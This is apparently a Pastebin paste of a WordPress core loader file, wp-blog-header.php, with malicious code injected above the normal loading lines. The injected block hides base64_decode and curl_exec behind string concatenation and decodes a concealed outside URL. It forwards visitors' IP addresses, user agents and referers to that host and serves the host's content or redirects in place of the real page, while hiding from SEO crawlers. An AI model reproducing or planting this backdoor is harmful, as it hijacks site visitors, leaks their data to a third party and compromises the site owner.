SHARE
TWEET

Untitled

a guest May 18th, 2017 5,556 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3.  * Loads the WordPress environment and template.
  4.  *
  5.  * @package WordPress
  6.  */
  7.  
  8.  
  9. $e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);
  10.  
  11. if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
  12.     basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
  13.         (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {
  14.  
  15.     $at = "base64_" . "decode";
  16.  
  17.     $ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20vPw==") . "c9b103994a5092d659de29062ab8557f" . $p);
  18.  
  19.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  20.     curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  21.             "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
  22.     );
  23.  
  24.     if (isset($_SERVER["HTTP_USER_AGENT"]))
  25.         curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
  26.  
  27.     if (isset($_SERVER["HTTP_REFERER"]))
  28.         curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
  29.  
  30.     $ci = "curl_ex" . "ec";
  31.  
  32.     $data = $ci($ch);
  33.     $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  34.  
  35.     if (strlen($data) > 255 && $code == 200) {
  36.         echo $data; exit;
  37.     } else if ($data && ($code == 301 || $code == 302)) {
  38.         header("Location: " . trim($data), true, $code); exit;
  39.     }
  40. }
  41.  
  42.  
  43. if ( !isset($wp_did_header) ) {
  44.  
  45.     $wp_did_header = true;
  46.  
  47.     // Load the WordPress library.
  48.     require_once( dirname(__FILE__) . '/wp-load.php' );
  49.  
  50.     // Set up the WordPress query.
  51.     wp();
  52.  
  53.     // Load the theme template.
  54.     require_once( ABSPATH . WPINC . '/template-loader.php' );
  55.  
  56. }
RAW Paste Data
Top